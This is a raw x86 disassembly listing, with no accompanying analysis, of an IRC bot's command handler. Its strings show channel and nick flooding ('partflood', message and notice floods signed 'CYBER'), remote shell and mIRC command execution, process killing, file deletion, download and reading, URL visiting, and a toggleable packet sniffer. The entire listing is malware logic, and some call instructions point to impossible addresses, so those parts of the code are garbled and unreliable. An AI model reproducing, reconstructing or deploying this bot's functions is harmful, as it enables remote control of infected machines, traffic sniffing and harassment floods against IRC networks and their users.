		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFD
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B504
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_42B500
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_42B4E8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4D4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		nop
		call	near ptr 26A0D63h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B464
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_42B450
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_42B44C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		call	near ptr 26A0D63h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B424
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h

loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3C4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3AC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3AC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D400C

loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4CB00C

loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DA72C
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B34C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------

loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_42B24C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]

loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B21C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset byte_411FD5
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_405C30

loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------

loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset dword_42B1E0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_42B1A4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_42B178
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_42B150
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]

loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
